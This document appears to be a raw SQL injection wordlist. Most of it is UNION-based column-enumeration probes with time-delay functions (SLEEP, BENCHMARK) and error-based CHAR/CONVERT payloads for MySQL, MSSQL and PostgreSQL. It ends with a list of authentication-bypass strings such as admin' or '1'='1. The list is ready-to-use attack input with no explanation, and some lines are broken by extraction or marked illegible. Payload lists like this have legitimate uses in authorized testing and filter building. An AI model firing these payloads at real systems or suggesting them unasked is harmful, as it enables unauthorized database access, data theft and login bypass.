0,11,12,13
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1

```

```

0,11,12,13,14,15,16,17
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
  UNION SELECT @@VERSION,SLEEP(5),'3
  UNION SELECT @@VERSION,SLEEP(5),'3"#
  UNION SELECT @@VERSION,SLEEP(5),USER(),4#
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
  UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#

```

```
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
UNION SELECT
```



```
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
    UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
    UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
    UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
    UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,1
0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
    UNION ALL SELECT USER()--
    UNION ALL SELECT SLEEP(5)--
    UNION ALL SELECT USER(),SLEEP(5)--
    UNION ALL SELECT @@VERSION,USER(),SLEEP(5)--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL,NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL--
    UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
```

[illegible]

[illegible]

```
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))--
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))--
UNION ALL SELECT NULL#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)))#
AND 5650=CONVERT(INT,(UNION ALL
```

```
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
UNION ALL SELECT NULL
AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECT CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)))
AND 5650=CONVERT(INT,(UNION ALL
SELECT CHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)))
```

```

AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR
(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND 5650=CONVERT(INT,(SELECT
CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE
WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
AND
3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SE
LECT (CASE WHEN (3516=3516) THEN 1 ELSE 0
END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113))
AS NUMERIC)
AND (SELECT 4523 FROM(SELECT
COUNT(*),CONCAT(0x716a7a6a71,(SELECT
(ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
UNION ALL SELECT
CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(
106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR
(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),
NULL--
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
UNION ALL SELECT
'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15

```

```
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28,29
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28,29,30
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX'--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10--
```

```
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28,29--
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25,26,27,28,29,30--
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX' #
```



```
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11#
UNION ALL SELECT 'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24#
UNION ALL SELECT
'INJ' || 'ECT' || 'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
,20,21,22,23,24,25#
```

SQL Injection Auth Bypass Payloads

```
'-'
' '
'&'
'^'
'*'
' or '-'
' or ' '
' or '&'
' or '^'
' or '* '
"-"
" "
"&"
"^"
"*"
" or "-"
" or " "
" or "&"
" or "^"
" or "* "
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin' or 1=1 or '='='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
```

```
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin" or 1=1 or ""=""
